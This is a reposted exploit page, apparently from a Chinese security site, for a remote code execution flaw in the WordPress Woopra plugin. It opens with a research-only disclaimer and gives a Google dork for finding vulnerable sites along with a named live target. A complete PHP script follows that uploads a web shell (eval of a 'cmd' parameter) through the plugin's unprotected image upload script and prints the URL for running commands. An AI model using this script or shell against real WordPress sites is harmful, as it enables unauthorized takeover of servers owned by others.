WordPress Woopra plugin remote PHP arbitrary code execution exploit.

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. # Exploit Title: woopra plugins execute arbitrary PHP code Exploit
2. # Google Dork: inurl:/plugins/woopra/inc/php-ofc-library , inurl:wp-content/plugins/woopra/inc/
3. # Date: [06-10-2013]
4. # Exploit Author: wantexz
5. # Vendor Homepage:wordpress.org/plugins/woopra/
6. # Software Link: wordpress.org/plugins/woopra
7. # Version: woopra
8. # Tested on: [wantexz]
9. # CVE :
10. # target tested: http://zainhd.com/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php
11. ############################################################################################
12. # INDONESIANCODER
13. # by
14. # WANTEXZ
15. #
16. ############################################################################################
17. <?php
18. # woopra plugins ~ Exploit
19. # http://indonesiancoder.com/
20. #
21. echo <<<EOT
22. # -----------------------------------
23. #/ woopra ~ Exploit \
24. #\ Author: wantexz /
25. # -----------------------------------
26. ################################################################################################
27. # Author: WANTEXZ
28. #
29. # thank to : tukulesto,arianom,cimpli,jack_jahat,k4L0NG666,Br3NG0S,Xr0b0t,blie,KaMtiEz,Mboys
30. # all indonesian coder, indonesian defacer, kill-9
31. ,jatimcom , malangcyber
32. #
33. ################################################################################################
34. EOT;
35. $options = getopt('u:f:');
36. if(!isset($options['u'], $options['f']))
37. die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n
38. -u http://target.com/ The full path to Joomla!
39. -f shell.php The name of the file to create.\n");
40. $url = $options['u'];
41. $file = $options['f'];
42. $shell ="{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
43. $url ="{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
44. $data ="<?php eval(\$_GET['cmd']); ?>";
45. $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
46. rv:15.0) Gecko/20100101 Firefox/15.0.1',
47. 'Content-Type: text/plain');
48. echo " [+] Submitting request to: {$options['u']}\n";
49. $handle = curl_init();
50. curl_setopt($handle, CURLOPT_URL, $url);
51. curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
52. curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
53. curl_setopt($handle, CURLOPT_RETURNTRANSFER,true);
54. $source = curl_exec($handle);
55. curl_close($handle);
56. if(!strpos($source,'Undefined variable: HTTP_RAW_POST_DATA')&&
57. @fopen($shell,'r'))
58. {
59. echo " [+] Exploit completed successfully!\n";
60. echo " ______________________________________________\n\n
61. {$shell}?cmd=system('id');\n";
62. }
63. else
64. {
65. die(" [+] Exploit was unsuccessful.\n");
66. }
67. ?>